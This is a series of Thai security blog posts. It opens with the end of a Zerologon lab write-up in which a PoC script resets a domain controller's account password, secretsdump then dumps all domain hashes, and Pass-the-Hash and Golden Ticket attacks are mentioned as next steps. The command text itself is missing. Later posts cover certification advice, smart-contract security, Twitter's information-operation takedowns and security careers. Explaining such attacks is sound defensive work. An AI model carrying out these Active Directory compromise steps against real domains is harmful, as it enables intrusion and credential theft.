หรือ secretsdump ของ Impacket: {rel=""nofollow""}
โดยจะได้ hash ของ account ออกมาทั้งหมด รวมถึง hash ของ Domain Administrator ที่สามารถใช้เทคนิค [Pass-the-Hash](https://attack.mitre.org/techniques/T1550/002/){rel=""nofollow""} ในการ compromise เครื่อง server ใน domain ต่อไปได้
หรือ
Hash ของ [krbtgt account](https://adsecurity.org/?p=483){rel=""nofollow""} ซึ่งสามารถใช้สร้าง [Golden Ticket](https://adsecurity.org/?p=483){rel=""nofollow""} เพื่อใช้ในการเข้า compromise เครื่อง server ใน domain ได้ทั้งหมด :br
## PoC script สำหรับโจมตี
ไม่กี่ชั่วโมงหลังจากที่รายละเอียดช่องโหว่นี้ถูกประกาศออกมา ก็มี PoC script สำหรับโจมตีออกมามากมาย เช่น {rel=""nofollow""}
พูดถึงทฤษฎีกันมามาก เรามาลองทดสอบใช้ PoC script จริงกันดีกว่า
## ตรวจสอบ computer account password ก่อนลอง
ทั้งหมดนี้เป็นการทดสอบบน Domain Controller ใน Lab นะครับ ไม่ได้ทดสอบกับเครื่องชาวบ้านแต่อย่างใด LOL
ก่อนอื่นเรามาดู password ของ computer account ทั้งที่เก็บไว้บน active directory กับใน registry ของเครื่อง กันดีกว่าว่ามีค่าเหมือนกันไหม

NTLM hash จาก active directory (NTDS.dit)

NTLM hash จาก registry (วิธี dump: {rel=""nofollow""})
จะเห็นได้ว่า NTLM hash ของ computer account ทั้งสองค่าเหมือนกันอยู่
## ทดสอบใช้ PoC script โจมตี
Clone script มาจาก Github แล้วลองกับ Domain Controller กันเลย
\`\`

เมื่อ exploit สำเร็จโดยใช้ระยะเวลาไม่นาน ก็ใช้ secretsdump replicate ข้อมูลบน active directory ออกมา โดยใช้ computer account (ในตัวอย่างคือ `WIN-VE222S1IUPQ$`) และ password ที่เป็นค่าว่าง (empty)

NTLM hash จาก active directory
NTLM hash ของ computer account บน active directory เป็นค่าว่าง (empty) ไปแล้ว
แต่หากทดสอบนำ NTLM hash จาก registry ของเครื่อง Domain Controller หลังจากที่ถูกโจมตีสำเร็จแล้ว มาตรวจสอบใหม่ จะพบว่า NTLM hash ไม่ได้เป็นค่าว่าง (empty) เหมือนกับบน active directory ซึ่งถ้าไม่แก้ไขให้กลับไปเหมือนกัน Domain Controller อาจจะมีปัญหาในการทำงานได้

NTLM hash จาก registry
จบไปแล้วสำหรับการชำแหละช่องโหว่ Zerologon ในครั้งนี้ เนื่องจากต้องอาศัยรายละเอียดค่อนข้างเยอะในหลายส่วนด้วยกัน หากมีข้อมูลในส่วนไหนผิดพลาดไปก็สามารถ feedback กลับมาได้นะครับ
"Good engineering involves thinking about how things can be made to work; the security mindset involves thinking about how things can be made to fail." — Bruce Schneier"
## References
{rel=""nofollow""}
{rel=""nofollow""}
{rel=""nofollow""}
## Advertorial
นอกจากช่องโหว่ Zerologon ตัวนี้แล้ว ยังมีช่องโหว่อื่น ๆ อีกมากมายที่ทำให้ active directory มีความเสี่ยง
แล้วจะหาความเสี่ยงเหล่านั้นได้อย่างไร? :br
หนึ่งในวิธีที่ได้ผลคือการทำ VA/Pentest ซึ่งทีมเรามีความถนัดในเรื่องนี้
หากต้องการคำแนะนำเพิ่มเติม Incognito Lab ยินดีให้คำปรึกษาโดยไม่คิดค่าบริการ
และนอกจาก VA/Pentest แล้ว เรายังมี service อื่น ๆ อีกมากมาย ศึกษาเพิ่มเติมได้จากเอกสารข้างล่างนี้ครับ


# ICL LogBook 2020
::logbook
#date
30 Sep 2020
#title
September : Zerologon
#description
#link
{rel=""nofollow""}
::
::logbook
#date
30 Sep 2020
#title
September : รพ. สระบุรี ถูกโจมตีด้วย Ransomware
#description
#link
/blogs/voidcrypt-watch-and-learn-style-with-annoyance-1
::
::logbook
#date
31 Aug 2020
#title
August : Garmin Pays $10 Million To Ransomware Hackers Who Rendered Systems Useless
#description
#link
{rel=""nofollow""}
::
::logbook
#date
31 Jul 2020
#title
July : High-profile twitter accounts were hacked
#description
#link
{rel=""nofollow""}
::
::logbook
#date
30 Apr 2020
#title
April : Security concerns in the Zoom app
#description
#link
{rel=""nofollow""}
::
::logbook
#date
31 Mar 2020
#title
March : COVID-19 Phishing threats emerging
#description
#link
{rel=""nofollow""}
::
# Beating Cybersecurity Certificate
เนื่องจากวันก่อนได้มีโอกาสไปคุยกับ Partner แล้วก็ได้มีคำถามในห้องว่ามีเทคนิคในการสอบ Cert หรือไม่? คำตอบเร็ว ๆ คือ ไม่มีครับ แต่บทความนี้ขอเล่า Journey การสอบ Cert ที่ผ่านมาของผมโดยแบ่งเป็นประเด็น ๆ ไป
Certificate ที่เคยสอบมาน่าจะเป็นไปตามด้านล่างครับ
```text
CISSP > CISA > ITIL > ISO27001 > ISO22301 (BCM )> CISM > eCPPT > GCIH >
GPEN > GSEC > GCIA > GCFA > GWAPT > GXPN > GSE > AWS Cloud Practitioner >
AWS Solution Architect Associate > AWS Security Specialty
```
ถ้าไล่ดูจาก Timeline นี้จะเห็นว่าเริ่มจากสาย Management แล้วค่อยไปสาย Technical แล้วก็มาจบที่ AWS ต่อไปจะเป็นประเด็นที่ผมคิดว่ามีความสำคัญและที่ผมใช้ในการสอบครับ
## ประเด็นที่ 1 เริ่มจากเข้าใจภาพรวม Concept พื้นฐาน
สิ่งที่ผมคิดว่าแตกต่างจากคนส่วนใหญ่คือ คนส่วนใหญ่จะไปทางสาย Technical แล้วไต่มาเป็นสาย Management แต่ผมเริ่มจาก Cert ที่จัดอยู่ในกลุ่ม Management ซึ่งตอนนั้นที่เลือกที่จะสอบเพราะในยุคนั้น (ปี 2009) เรื่อง Cybersecurity ไม่ได้ถูกให้ความสำคัญแบบในทุกวันนี้ และเรื่อง Certificate ก็ไม่ได้มีให้เลือกมากมายเช่นกัน
- CISSP เป็น Cert ที่เรียกว่า Top Form ที่สุดในขณะนั้น ในความคิดผมตอนนั้นนะ 555 ใน Forum ตปท.ก็มักมีการตั้งกระทู้ว่าที่เทียบระหว่าง
- CISSP กับ ปริญญาโทด้าน Cybersecurity ซึ่งความเห็นผมคือทำไมต้องเลือกอ่ะ ก็มีทั้งคู่ไปเลยสิ
แต่เอาจริง ๆ แล้วอย่าเอาไปเทียบกันเลยครับ มันแตกต่างกันมากนะ การสอบ Cert 1 ใบอาจใช้เวลาเพียง 1 สัปดาห์ 1 เดือน ในการทำให้สำเร็จ มันไม่ควรเอามาเทียบกับปริญญาที่ใช้เวลาเป็นปี
หลังจากที่คิดเอาเองว่าต้องมี CISSP บ้างละ ก็รู้สึกว่าไม่น่าเป็นปัญหาอะไร เพราะช่วงนั้นเพิ่งเรียนจบมา ถึงแม้ไม่มีประสบการณ์ทำงานเลย แต่เนื้อหาไม่ได้ยาก แค่ครอบคลุมกว้าง และด้วยพื้นฐานความรู้และภาษาของผมในขณะนั้นน่าจะไม่มีปัญหา
ตอนอ่านสอบก็ไม่ได้เข้าใจทุกเรื่องนะ บางเรื่องที่เป็น Concept หรือ Technical นี่สบายเลย แต่ถ้าเป็นระดับ Policy หรือ Organizational level ก็จะเหมือนเข้าใจ แต่ไม่เข้าใจ เพราะเราไม่เห็นภาพ ในการทำงานกับองค์กรระดับใหญ่
สุดท้ายสอบผ่าน แต่ก็เหมือนเราได้ Concept แต่ไม่เห็นของจริง ซึ่งตอนที่เราเริ่มมีประสบการณ์ทำงาน Concept เหล่านี้สำคัญมาก อย่างน้อยเราก็มี Concept ที่ถูกต้องในหัวเรา ไว้คอย Defense หรือ บางครั้งเจอ Vendor ที่บอกว่าทำอย่างนั้นอย่างนี้ไม่ได้ เพราะเหตุผลต่าง ๆ นานา เราก็จะรู้ว่าสิ่งที่อีกฝั่งพูดมานั้นมันแปลก ๆ ไม่ตรงตาม Concept
## ประเด็นที่ 2 ประสบการณ์ในองค์กรขนาดใหญ่ช่วยให้เข้าใจเรื่อง Process
ประสบการณ์ในการทำงานช่วยได้มากจริง ๆ โดยเฉพาะตอนที่ทำงานที่ธนาคาร เราเห็นภาพว่าการทำงานระดับองค์กรใหญ่มันต้องมี Process ต่าง ๆ มี Change management มี Audit ทั้งภายในและภายนอกองค์กร หรือ แม้แต่การบริหารจัดการด้าน Cybersecurity ของจริง ที่ไม่มีทางที่เราจะอ่านหนังสือแล้วเข้าใจได้เลย ซึ่งตอนที่สอบ CISA, ITIL เราก็สามารถที่จะ Map Concept ในหนังสือเข้ากับประสบการณ์ในชีวิตจริงได้มากขึ้น ทำให้การสอบไม่ได้ยากอะไร
## ประเด็นที่ 3 ประสบการณ์ในองค์กรขนาดใหญ่ช่วยส่งเสริม Practical Skill
อยู่องค์กรใหญ่ ทำให้มีของให้เล่นเยอะ Vendor แวะเยี่ยมเยี่ยนมาหาบ่อย ซึ่งจุดนี้ทำให้ Practical Skill เราสูงขึ้น จากเดิมรู้ Concept ทำเองไม่ค่อยเป็น เราก็มีอุปกรณ์ด้าน Security ราคาแพงให้เราลองใช้งาน ถ้าใช้ไม่เป็น พี่ ๆ ในทีมก็คอยสอน หรือ เรียกให้ Vendor มาช่วย Support และอธิบายให้เราเข้าใจได้มากขึ้น ซึ่งถ้าเทียบกับทำ Lab เองนั้น เหนื่อยตั้งแต่ลงทุน และ Setup Lab เองแล้ว ต่อให้ Setup Lab เองได้ ท่าต่าง ๆ ปัญหาที่เจอก็เทียบไม่ได้กับปัญหา Scale ของธนาคารหรอก
นอกจากนี้ตอนอยู่ที่ธนาคารก็เน้นทำ Pentest ให้กับระบบของธนาคาร ซึ่งจุดที่ผมคิดว่าผมได้ความรู้มากที่สุดนั้นไม่ใช่ประสบการณ์ทำ Pentest นะ แต่เป็นความรู้ความเข้าใจทางด้าน Business ในธนาคาร การแบ่ง Roles บนระบบ การ Design Process ต่าง ๆ ทำให้เราสามารถเข้าใจและเห็นความเสี่ยงของ Business และ Application ได้อย่างรวดเร็ว
## ประเด็นที่ 4 เปลี่ยน Role จาก Customer มาเป็น Consult
ผันตัวจากงาน IT Security Operation มาเป็นงานแนว Consulting คราวนี้ความรู้ที่เรามีกับความรู้ที่เราต้องใช้นั้นคนละขั้วละ จากเดิมเน้นทำ Operation และช่วยออกแบบ Solution ให้ปลอดภัย คราวนี้เราต้องมารู้จัก Standard รู้จักข้อบังคับต่าง ๆ รวมถึงต้องไปให้คำปรึกษากับองค์กรต่าง ๆ ซึ่งถือว่า Challenge มากเพราะข้อกำหนดเยอะเหลือเกิน อ่านแล้วง่วง ความยากคือทำอย่างไรให้ลูกค้าเชื่อเรา
ซึ่งการให้คำปรึกษานั้นไม่ได้ยากมากเท่าไร เพราะเราเคยมีประสบการณ์เห็นภาพองค์กรใหญ่ ซึ่งพอเราได้รู้จัก Standard ก็สามารถที่จะสอบ Cert ในกลุ่ม ISO ได้ไม่ยากเลย
## ประเด็นที่ 5 เมื่อทุกอย่างพร้อม เราก็ลุย
เมื่อความรู้พื้นฐาน และ ประสบการณ์ พร้อมแล้วการสอบอะไรก็ไม่ใช่เรื่องยากจนเกินไป เพราะเราเองก็ยังวนเวียนด้าน Cybersecurity ดังนั้น Concept ทุกอย่างไม่ได้หนีจากเดิม ยกเว้นเป็นเทคโนโลยีใหม่ หรือ Model ใหม่ ๆ อย่าง เช่น AWS แรก ๆ เราก็ไม่เข้าใจ อยู่ดี ๆ จะไปทำ Security ของ AWS เลยก็เป็นไปได้ยากนะ มันก็ต้องกลับไปทำความเข้าใจพื้นฐานของ Service บน AWS แต่ละ Service มีหน้าที่อะไร ทำอะไรได้บ้าง การ Integration บน AWS มีท่าไหนบ้าง เมื่อเราเข้าใจแล้วเราก็สามารถที่จะเห็นความเสี่ยงและจัดการกับปัญหาได้
ข้างบนนั่นคือ Journey ในสาย Cybersecurity แต่ยังไม่เกี่ยวกับเรื่องเทคนิคในการสอบอยู่ดี เรื่องเทคนิคในการสอบของผมมันเป็นเรื่องพื้นฐานมาก (เกรงว่าบางคนจะไม่เรียกว่าเทคนิค)
1. สร้างพื้นฐานของเราให้แน่น ความรู้ Foundation สำคัญและพร้อมที่จะใช้ต่อยอด หรือนำไปใช้ Apply เป็นเทคนิคใหม่ ๆ ได้เสมอ
2. จองวันสอบล่วงหน้า ในตอนที่ยังไม่พร้อม จะได้เป็นการเพิ่มแรงผลักดันให้ตัวเอง
3. ถ้าสอบบ่อย ๆ จะรู้ Pattern ของคำตอบที่ถูกต้อง เช่น ถ้าให้เลือกระบบราคาแพง กับ ชีวิตคน แน่นอนเราต้องเลือก ชีวิตคน มาเป็นอันดับแรก หรือ ถ้าให้เลือกใช้เงินแพง ๆ แต่ Business ลงทุนแล้วแทบเจ๊ง กับ ลงทุนเหมาะสม แล้ว Business เดินต่อได้ ในขณะที่ความเสี่ยงไม่ถูกกำจัดให้หมดไป เราก็ต้องเลือก Case ที่ 2 เพราะว่า Business ต้องอยู่ได้
4. ถ้าทำข้อสอบ Choice คิดไม่ออกตัดข้อที่น่าจะถูกน้อยที่สุดออกไปก่อน (ตอนเด็ก ๆ ก็ทำแบบนี้ไหม หรือว่าใครทิ้งดิ่ง กาข้อเดียวรวด?)
5. อ่าน Material ที่ถูกต้อง ถ้ามี Official Book ก็อาจเริ่มอ่านจาก Official Book แต่ถ้าไม่มีก็แนะนำลอง Google ดูว่าคนส่วนใหญ่แนะนำอะไร เช่น CISSP ก็มีแต่คนแนะนำหนังสือของ Shon Harris เป็นหลัก
6. ถ้าอันไหนมีทำ Lab เราก็ควรจะทำ Lab บ้างจะได้เข้าใจเนื้อหามากขึ้น
7. ความเชื่อว่าองค์กรที่ออก Certificate นั้นเค้าก็ต้องการให้มีคนมี Cert เค้า มันคือธุรกิจที่เค้าต้องให้มีคนมี Cert เยอะ และมีการ Renew เยอะ ๆ เพื่อสร้าง cashflow ให้กับเค้า ดังนั้นการสอบคงจะทำให้ยากเกินไปไม่ได้
---
**ถ้าใครสงสัย Certificate ตัวไหนด้าน Security ลองสอบถามเพิ่มได้ครับ :)**
# Smart Contract Security Concisely
บทความ Smart Contract Security Concisely ผู้เขียนจะรวบรวมความเห็น คำแนะนำและแนวทางการทำให้ Smart Contract มีความมั่นคงปลอดภัยต่อการนำไปใช้งาน โดยจะมีการ update ไปเรื่อย ๆ และจะขยายความอธิบายรายละเอียดหากเป็นหัวข้อที่ผู้เขียนสนใจหรือผู้อ่านอยากรู้
SCSC#1 Smart Contract คือรูปแบบของการนิยาม agreement ในรูปแบบของ Computing + Mathematical language ถ้ามองในรูปแบบที่เป็นรูปธรรมก็คือ สัญญา (Traditional Contract)ตามกฎหมายจะถูกระบุรายละเอียดในรูปแบบภาษากฎหมายที่มนุษย์ใช้อ้างอิงได้ และถูกตีความ (Interpretation) ตามที่นักกฎหมายแต่ละคนพยายามตีความ ส่วน Smart contract ถูกระบุรายละเอียดในรูปแบบของ Code ที่ถูกตีความด้วยคอมพิวเตอร์
SCSC#2 Nick Szabo เป็น cryptographer และ programmer ไปเรียนต่อด้านกฎหมาย จากนั้นต่อยอดและคิด idea เรื่อง Smart contract มาตั้งแต่ปี 1996 แต่วันนั้น Blockchain technology ยังไม่มี
SCSC#3 Smart contract ถูกบรรยายด้วย computer language การทำงานของมันจะถูกตีความเหมือน ๆ กันบนเครื่องคอมพิวเตอร์ที่จะ run Smart contract นั้น ๆ
SCSC#4 Traditional contract อาศัย trusted authority ในการตีความความถูกต้อง ซึ่งแน่นอนว่าความลำเอียงและความอยุติธรรมย่อมเกิดขึ้นได้ ส่วน Smart Contract อาศัย Blockchain technology ในการทำงาน ถูกหรือผิดเป็นไปตาม Logic ของ code ที่เขียนขึ้น
SCSC#5 ในแวดวง Blockchain จะมีคำพูดที่ว่า "in code we trust", "in maths we trust", และ "in crypto we trust" นั่นแสดงให้เห็นว่า trust ไม่ได้ถูกกำจัดออกจาก Blockchain Technology เพียงแต่ trust ถูก shift จาก central authority/intermediary หรือคนกลางไปยัง technology แทน ลองอ่านเพิ่มเติมจากบทความ [Trust in Human or Trust in Technology](https://medium.com/incognitolab/trust-in-human-or-trust-in-technology-bcbf5a2169a9){rel=""nofollow""}
SCSC#6 ถ้าทำการ deploy Smart contract ไปแล้วมี bug หรือมีปัญหาด้าน security ไม่มีใครสามารถแก้ไขหรือเปลี่ยนแปลง Smart contract นั้นได้ owner และผู้พัฒนาจะต้อง take action ในการจัดการปัญหาที่ตามมาตามความสามารถที่มี (due diligence) ได้เท่านั้น อย่าลืมว่า Smart contract คือ agreement ที่ set up แล้ว ถ้ามันมีปัญหา ยังไงก็ตามคุณก็ต้อง agree และ respect ที่จะทำตามที่ Smart contract ระบุเอาไว้
SCSC#7 Use case ของ Smart contract ที่เห็นได้บ่อยในปัจจุบันจะพบในกรณี
1. Programmable money รับ-ส่ง เงิน crypto หรือ token ตาม condition ที่ set เอาไว้
2. Fundraising หรือทำ ICO เพื่อจะได้ขาย tokens และนำเงินกระดาษ (fiat money) ไปใช้ในการประกอบกิจการของบริษัทที่กำลังเปิด service ใหม่
3. Decentralised Autonomous Organisations (DAOs) คือบริษัทหรือองค์กรที่บริหาร จัดการและขับเคลื่อนด้วย set ของ Smart contracts แทนที่กลุ่มคนที่ตัดสินใจในรูปแบบบริษัททั่ว ๆ ไป เป็น use case ที่ผู้เขียนคิดว่าซับซ้อนและยังไม่คิดว่า จะตัดคนออกจากการมีอิทธิพลต่อการตัดสินใจได้ 100%
SCSC#8 Blockchain technology เป็น emerging techology (คือเทคโนโลยีอุบัติใหม่ ประมาณ 10 ปี ในขณะที่ Internet เกิดขึ้นประมาณ 50 ปีแล้ว) เวลามองเรื่อง security ต้องมองเป็น layer-approach แม้แต่ Vitalik ยังกล่าวว่า "Progress in smart contract safety is necessarily going to be layered, incremental, and necessarily dependent href="{rel=""nofollow""}" rel="noopener nofollow">{rel=""nofollow""}
SCSC#9 ถ้าเอา Blockchain technology มาฉีกเป็นชั้น ๆ จะพบว่า :br
— — — — — — — — — - :br
Data — จะเก็บหรือรับ-ส่งอะไร และจะ secure อะไรคือคำถามสำคัญสำหรับ layer นี้ :br
— — — — — — — — — - :br
Application — ยังใช้ concept ด้าน Application Security มาใช้ได้ :br
— — — — — — — — — - :br
Smart Contract — ส่วนใหญ่ปัญหาด้าน security เกิดขึ้นที่ layer นี้ :br
— — — — — — — — — - :br
Compute หรือ Blockchain — มีหลาย platform แล้วแต่เลือก ถ้าเทียบกับ layer Smart contract แล้ว security ของ layer นี้ ดีกว่าเยอะ ลองไปดูรายการช่องโหว่ของ code ตระกูล Bitcoin Core ก็จะพบว่าไม่เท่าไร — {rel=""nofollow""}:br
— — — — — — — — — - :br
Consensus — layer ที่ active ในหมู่ mathematician, cryptographer และ computer scientist :br
โดยส่วนใหญ่ถ้าเราไม่คิดอะไรใหม่ขึ้นมาเอง แต่ใช้สิ่งที่ถูก prove ไว้แล้วจะเป็น practice ที่ดีที่สุด :br
— — — — — — — — — - :br
Infrastructure — network และ system ตาม traditional infrastructure :br
— — — — — — — — — -
SCSC#10 Blockchain technology การันตีเรื่อง Integrity และ Availability แต่เรื่อง Confidentiality และ Privacy เป็นความรับผิดชอบของคนใช้และคนที่พัฒนาระบบ
SCSC#11 หากมี capability ในการสร้าง chain ขึ้นมาใช้งานเองยังพอรับได้ แต่หากสร้าง cryptography algorithms ขึ้นมาใหม่เป็นเรื่องที่ควรหลีกเลี่ยง
SCSC#12 Solidity เป็นภาษาที่จะพัฒนาไปอีกเรื่อย ๆ feature สำหรับนักพัฒนาก็จะเพิ่มขึ้นเรื่อย ๆ แต่เรื่อง security นั้น feature ยังไม่เท่าไร นักพัฒนาต้องควบคุมการทำงานของ code ของตัวเองให้ดี อย่าลืมว่ายิ่งภาษามันมี feature ที่ rich มากขึ้น แต่ security ไม่ได้ไปด้วยกัน ช่องโหว่ก็มักจะเกิดขึ้นตามมา
SCSC#13 ตัวอย่างที่ผู้เขียนรู้สึกขัดใจเช่น private attribute ถึงแม้ delcare ว่า private แต่เราก็สามารถ access ได้ผ่าน function ของ platform นั้น ๆ ที่ provide ให้ใช้ได้เช่น web3.eth.getStorageAt
SCSC#14 ก่อนจะพัฒนาระบบขึ้นมาคิดก่อนว่าจะ centralised หรือ decentralised มันไม่มีความจำเป็นที่จะต้องใช้ Blockchain technology หากเราสามารถสร้างมันขึ้นมาโดยใช้ระบบแบบปกติที่เราคุ้นเคยอยู่ได้
SCSC#15 เวลาจะใช้ Smart contract หรือบริการที่ควบคุมด้วย Smart contract ลองพิจารณาด้วยว่า owner มีสิทธิ์พิเศษในการทำกิจกรรมแปลก ๆ หรือไม่ เช่นถ้ามอง use case ของ token Smart contract เราต้องดูว่า owner ทำเรื่อง transfer, approve การ transfer, การ minting หรือ burning ที่ไม่ควรจะทำได้หรือไม่
SCSC#16 ใน Cryptocurrency Ecosystem ประกอบด้วย end user, ระบบ Exchange ที่มี hot/cold storage และ Crypto components ที่มี node, wallets, smart contract ตามแต่ละ Cryptocurrency หรือ platform
SCSC#17 Threats actor และ attack surface บน Cryptocurrency Ecosystem ก็จะมีเรื่องของ Fraud, Malware, Attackers, Network attack และการโจมตีไปยังผู้ใช้งานใน ecosystem นี้เช่น social engineering
SCSC#18 Smart contract code ถูก deploy อยู่บน blockchain platform ที่ทุกคนสามารถเข้าถึงได้ก็จริง แต่ไม่ใช่ทุก ๆ Smart contract ที่เราจะมี source code ดังนั้นการทำ manual code review จะทำได้ยากเพราะเหลือแต่ bytecode เท่านั้น ต้องใช้วิธีการอื่นช่วย
SCSC#19 วิธีการทำ Smart Contract Audit มีหลายเทคนิคและวิธีการเช่น formal verification, symbolic execution, fuzzing, control-flow analysis, debugging และอื่น ๆ ซึ่ง tools ตรวจสอบได้ไม่ครบ ต้องใช้คนด้วย(ถ้ามีโอกาสผู้เขียนจะมาเล่าให้ทุกท่านได้ทราบภายหลัง)
SCSC#20 Category ของช่องโหว่บน Smart contract สามารถดูภาพรวมจาก [Decentralized Application Security Project (DASP)](https://dasp.co/){rel=""nofollow""} ของ NCC Group หากอยากดูรูปแบบคล้าย ๆ CWE ให้ดูที่ [SWC Registry](https://swcregistry.io/){rel=""nofollow""}
SCSC#21 การพัฒนา software อย่าง secure มี checklist และ guideline ให้อ้างอิงเยอะแล้ว แต่ถ้าต้องการ guideline สำหรับการพัฒนา Smart contract ให้ secure ให้ลองดู [Parity’s Checklist for Secure Smart Contract Development](https://www.parity.io/paritys-checklist-for-secure-smart-contract-development/){rel=""nofollow""} ซึ่ง founder ของ Parity ก็คือ Dr Gavin Wood ที่เขียน [Ethereum Yellow Paper](https://ethereum.github.io/yellowpaper/paper.pdf){rel=""nofollow""}
ยังมีอีกมากที่อยากจะเอามาแชร์ให้ผู้อ่านทุกท่านได้ติดตาม แล้วจะกลับมา Update บทความนี้เรื่อย ๆ นะครับ
# Twitter ได้ทำการเผยแพร่ เครือข่าย IO (Information Operation)
เมื่อวานนี้ Twitter ได้ทำการเผยแพร่ เครือข่าย IO (Information Operation) ที่มีความเกี่ยวข้องกับรัฐ หรือพบว่าถูกสนับสนุนโดยรัฐ โดยพบ account จำนวนทั้งหมด 1,594 account ซึ่งเกี่ยวข้องกับประเทศ อิหร่าน, ซาอุดิอาระเบีย, คิวบา, รัสเซีย และไทย
โดยไทยมี account ที่ถูกพบว่าเป็น IO และถูกแบนไปเรียบร้อยแล้วจำนวน 926 account และทาง Twitter เชื่อว่า account ดังกล่าวมีความเกี่ยวข้องกันกับ กองทัพบก
นอกจากแบนแล้ว Twitter ยังได้ทำการเปิดเผยข้อมูลเกี่ยวกับ account ดังกล่าวทั้งหมด โดยมีข้อมูลเกี่ยวกับ Tweet ที่เคย Tweet ไป, รายละเอียดเกี่ยวกับ account สำหรับคนที่สนใจสามารถ download ได้ที่นี่ครับ:
{rel=""nofollow""}[.](https://transparency.twitter.com/.../information.){rel=""nofollow""}[.](https://transparency.twitter.com/.../information..){rel=""nofollow""}[.](https://transparency.twitter.com/en/reports/information-operations.html){rel=""nofollow""}
ทาง Incognito Lab ได้นำข้อมูลมา plot คร่าว ๆ ก็ทำให้เห็น pattern ที่น่าสนใจบางอย่างแล้ว ลองไป map วันที่กันดูนะครับว่ามีเหตุการณ์อะไรในช่วงนั้น นี่เป็นแค่การ plot ข้อมูลคร่าว ๆ แค่ส่วนเดียวเท่านั้น แต่หากทำละเอียดกว่านี้ คาดว่าจะเห็นอะไรที่น่าสนใจอีกพอสมควรเลย
สำหรับผู้ใช้ทั่วไป อาจจะเกิดคำถามว่า เราจะเอาตัวรอดจาก Information Warfare/Information Operation ใน social media แบบนี้ได้อย่างไร แน่นอนว่าก่อนที่จะเชื่ออะไรก็ต้องคิดและตรวจสอบข้อมูลเยอะ ๆ ก่อน (เช่น แหล่งที่เผยแพร่น่าเชื่อถือแค่ไหน), ไม่เลือกเชื่อหรือแชร์แค่เฉพาะสิ่งที่อยากเชื่อ และควรเลือกตรวจสอบข้อมูลให้รอบด้าน (รวมถึงด้านตรงข้ามกับสิ่งที่ตัวเองเชื่ออยู่แล้ว) ก่อนที่จะเลือกเชื่อตามกระแสอะไรซักอย่าง
หากใครยังไม่ได้ดูสารคดีเรื่อง The social dilemma ทาง Netflix ก็อยากแนะนำให้ได้ดูกันครับ จะได้รู้เท่าทันการทำงานเบื้องหลังของ social media มากยิ่งขึ้น และมีสติ ไม่ตกเป็นเหยื่อของ IO ได้ง่าย ๆ : [https://www.netflix.com/th-en/title/81254224](https://www.netflix.com/th-en/title/81254224?fbclid=IwAR1m8mwXXy9JhcBVHjhSCBMk2aq%5F-ywmIGXDac1tHr%5F8RrU8yKb7xQAutY0){rel=""nofollow""}
รวมถึงใครสนใจเรื่อง Information Warfare ก็สามารถหาอ่านเพิ่มเติมได้จากที่นี้ครับ: [https://en.m.wikipedia.org/wiki/Dezinformatsia\_(book)](https://en.m.wikipedia.org/wiki/Dezinformatsia%5F%28book%29?fbclid=IwAR0UDEynkOOpB7irI7Y82dkxRAu4axjtCZO-hx7NJO%5FoMEA9oW5q6gpKjiw){rel=""nofollow""}
อ้างอิงข้อมูลจาก Twitter: [https://blog.twitter.com/.../disclosing-removed-networks...](https://l.facebook.com/l.php?u=https%3A%2F%2Fblog.twitter.com%2Fen%5Fus%2Ftopics%2Fcompany%2F2020%2Fdisclosing-removed-networks-to-our-archive-of-state-linked-information.html%3Ffbclid%3DIwAR2hxj9HK3ISXN7Vg0mRLT6iiIs4MG4c1XnPtbEoIc%5FcbE%5Fm4XHlssOvFHI&h=AT0mCMbS3RLOzzkvEafsh95hokKEdKJT9bM4ul9EhA9PkTBbv7%5FkYkt9gUW-9ENnqgFKdUGIm7mdqdQXvZ0yxu3JpJNuYRYooaHZP7pX2LKWHRb%5FAOF9Z0-fuFcOP4A6vFz8H-UM&%5F%5Ftn%5F%5F=-UK-R&c%5B0%5D=AT1ZYl9FTQm0C7EgqNQFAFJdRMREjQs9Fo7JaJaxsfy-KnWSbzYbpsOBAzI7Aj7BJSpu1qJgNB602cYsO3WAlHuM1Hn0efGHyzZUNX72g2zox1fzum-awAHfgX4pdJ1LBVoquIdOK6OO1gMLqKel7-8jp00WwBGtFbbBGltksREWK8c){rel=""nofollow""}
Edit เพิ่มเติมข้อมูลการวิเคราะห์จาก Stanford Internet Observatory (SIO) ครับ: [https://cyber.fsi.stanford.edu/.../twitter-takedown...](https://cyber.fsi.stanford.edu/io/news/twitter-takedown-october-2020?fbclid=IwAR0kd0OZ0MLYdXBTgy%5Fmz2IZlFz8lWeM4TW26RPe7wa6oY%5FRy9KGtjH1CPY){rel=""nofollow""}
# Step into cybersecurity career
เชื่อว่าเดี๋ยวนี้มีคนอยากจะมาทำงานในสาย Cybersecurity เพิ่มมากขึ้นแต่การจะเข้ามาทำงานในสายนี้เนี่ยจะว่ายากก็ ไม่ยาก จะว่าง่ายก็ไม่ง่าย เพียงแต่เราต้องรู้ทิศทางของเราก่อนว่าเราจะไปทำส่วนไหน เพราะปัจจุบันนี้งานทางด้าน Cybersecurity ก็มีมากขึ้นแต่ละบทบาทก็แตกต่างกันไป
ในบทความนี้ก็จะขอพูดถึงทั้งการเตรียมตัวในการสมัครงาน และ มุมมองจากฝั่งผู้สัมภาษณ์ว่ามองหาอะไรใน Candidate นะครับ
## ขั้นตอนที่ 0 หาความชอบตัวเองให้เจอ
บอกว่าทำ Cybersecurity เหมือนกัน แต่ในเนื้องานนี่แตกต่างกันมากมายครับ เช่น ทำ Compliance กับทำด้าน Technical skill ที่ใช้ก็คนละด้านละ ผมเคยเขียนไว้เมื่อประมาณ 8 ปีที่แล้วว่าประเภทของงานมีอะไรบ้าง เดี๋ยวนี้อาจจะมีปรับเปลี่ยนบ้างเล็กน้อย แต่ลองอ่านเพื่อให้เห็นภาพคร่าว ๆ ก่อนได้ที่ [Thailand it security career/](https://incognitolab.com/blogs/thailand-it-security-career)
## ขั้นตอนที่ 1 ทำให้คน "เชื่อ" ว่าเราเก่งในสิ่งที่ชอบ
เตรียมตัวให้มีความรู้เพื่อที่จะใช้เขียน Resume รวมถึงเตรียมไปนั่งคุยกับคนที่จะสัมภาษณ์เรา เช่น ถ้าอยากจะสมัคร Pentester น้อง ๆ จบใหม่อาจจะยังไม่มีทุนเพื่อไปสอบ Cert เพื่อเอามาแปะใน Resume มันก็มีทางอื่นอีก เช่น เล่น CTF เพื่อให้มีความรู้เพิ่มขึ้น
หรือลองดูจาก Roadmap ของ SANS ก็ได้ [https://www.sans.org/cyber-security-skills-roadmap](https://www.sans.org/cyber-security-skills-roadmap/?msc=main-nav){rel=""nofollow""} โดย Focus ที่ข้อ 1. Baseline skill และ 2. Focus job roles ซึ่งจะมีรายละเอียดบอกว่าแต่ละ Role ควรจะเรียนคอร์สไหน เราก็เข้าไปดู Course Syllabus แล้วเอาหัวข้อที่เค้าสอนมาศึกษาเพิ่มเติม

